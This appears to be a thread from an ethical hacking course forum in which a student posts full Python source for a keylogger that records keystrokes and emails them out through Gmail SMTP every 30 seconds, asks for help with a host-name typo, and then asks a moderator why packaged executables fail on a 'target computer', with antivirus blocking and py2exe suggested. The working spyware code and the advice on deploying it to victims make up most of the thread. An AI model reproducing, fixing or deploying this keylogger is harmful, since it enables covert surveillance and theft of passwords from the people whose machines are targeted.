Tagged: Remote Keylogger
- This topic has 4 replies, 2 voices, and was last updated 4 years, 4 months ago by Diego Pérez.
- AuthorPosts
- July 24, 2020 at 12:01 am #42905y4gud007Participant
Hi Zaid,
Kindly help look into what could have caused this error, I tried same code on three computers but same errorfilename: keylogger.py
import pynput.keyboard
import threading
import smtplib
import osclass Keylogger:
receive = os.environ.get(“logger_receive”)def __init__(self, time_interval, email, password):
self.log = “Keylogger Started”
self.interval = time_interval
self.email = email
self.password = passworddef append_to_log(self, string):
self.log = self.log + stringdef process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = ” ”
else:
current_key = ” ” + str(key) + ” ”
self.append_to_log(current_key)def report(self):
self.send_email(self.email, self.password, “\n\n” + self.log)
self.log = “”
timer = threading.Timer(self.interval, self.report)
timer.start()def send_email(self, email, password, message):
server = smtplib.SMTP(“smpt.gmail.com”, 587)
server.starttls()
server.login(email, password)
server.sendmail(email, receive, message)
server.set_debuglevel(1)
server.quit()def start(self):
keyboard_listener = pynput.keyboard.Listener(
on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()second filename: logger.py
import keylogger
import osmy_keylogger = keylogger.Keylogger(30, os.environ.get(“TITUS_ID”), os.environ.get(“TITUS_PASS”))
my_keylogger.start()
Error:
Traceback (most recent call last):
File “c:/Users/1/inbuilt/Desktop/2nd_logger/logger.py”, line 6, in <module>
my_keylogger.start()
File “c:\Users\1\inbuilt\Desktop\2nd_logger\keylogger.py”, line 47, in start
self.report()
File “c:\Users\1\inbuilt\Desktop\2nd_logger\keylogger.py”, line 30, in report
self.send_email(self.email, self.password, “\n\n” + self.log)
File “c:\Users\1\inbuilt\Desktop\2nd_logger\keylogger.py”, line 36, in send_email
server = smtplib.SMTP(“smpt.gmail.com”, 587)
File “C:\Users\1\AppData\Local\Programs\Python\Python38\lib\smtplib.py”, line 253, in __init__
(code, msg) = self.connect(host, port)
File “C:\Users\1\AppData\Local\Programs\Python\Python38\lib\smtplib.py”, line 339, in connect
self.sock = self._get_socket(host, port, self.timeout)
File “C:\Users\1\AppData\Local\Programs\Python\Python38\lib\smtplib.py”, line 308, in _get_socket
return socket.create_connection((host, port), timeout,
File “C:\Users\1\AppData\Local\Programs\Python\Python38\lib\socket.py”, line 787, in create_connection
for res in getaddrinfo(host, port, 0, SOCK_STREAM):
File “C:\Users\1\AppData\Local\Programs\Python\Python38\lib\socket.py”, line 918, in getaddrinfo
for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno 11001] getaddrinfo failedJuly 24, 2020 at 3:59 am #42922y4gud007ParticipantNevermind, I have figured it out… it was an smtp misspelled, “smpt.gmail.com” instead of “smtp.gmail.com”
However, I always have issues with converted exe files when running on target computer… it always says “Fatal errors, unable to run script (filename)”
July 24, 2020 at 4:16 am #42924Diego PérezModeratorHi!
Cool you got it!Do you have the same issue with any script? where are you compiling them? in kali or windows?
Let me know.
DiegoJuly 24, 2020 at 6:26 am #42932y4gud007ParticipantHi Diego,
Thanks for your quick response’
I’ve switched forth and back between windows 10 and kali since the first time encountered this issue just to know what causes the error.
I had the same issues with Zaid zlogger that I cloned on github as wellMeanwhile, I have successfully run some .exe file that I converted through pyinstaller, Most of my direct coding runs fine when I converted from .py to .exe but I mostly have this error with someone else’s code or already compiled .exe application.
Do you have any idea what could be causing this? I encountered the same issues when toying around with LaZagne too. “Fatal errors, unable to run script (filename)”
Any help or reference would be appreciated.
ThanksJuly 26, 2020 at 4:06 am #43045Diego PérezModeratorHi!
It could happen for many different reasons, first if the script interacts with the command line, as Zaid explained when compiling the backdoor. Also it can be because defender or any AV is preventing the executable to run, this can happen when it needs to connect with anither device or service, or just some libraries fail to compile properly using pyinstaller. There’s another tool that can be used, it’s called py2exe, try to do some google research and you’ll find it.Hope it helps!
Diego - AuthorPosts
- You must be logged in to reply to this topic.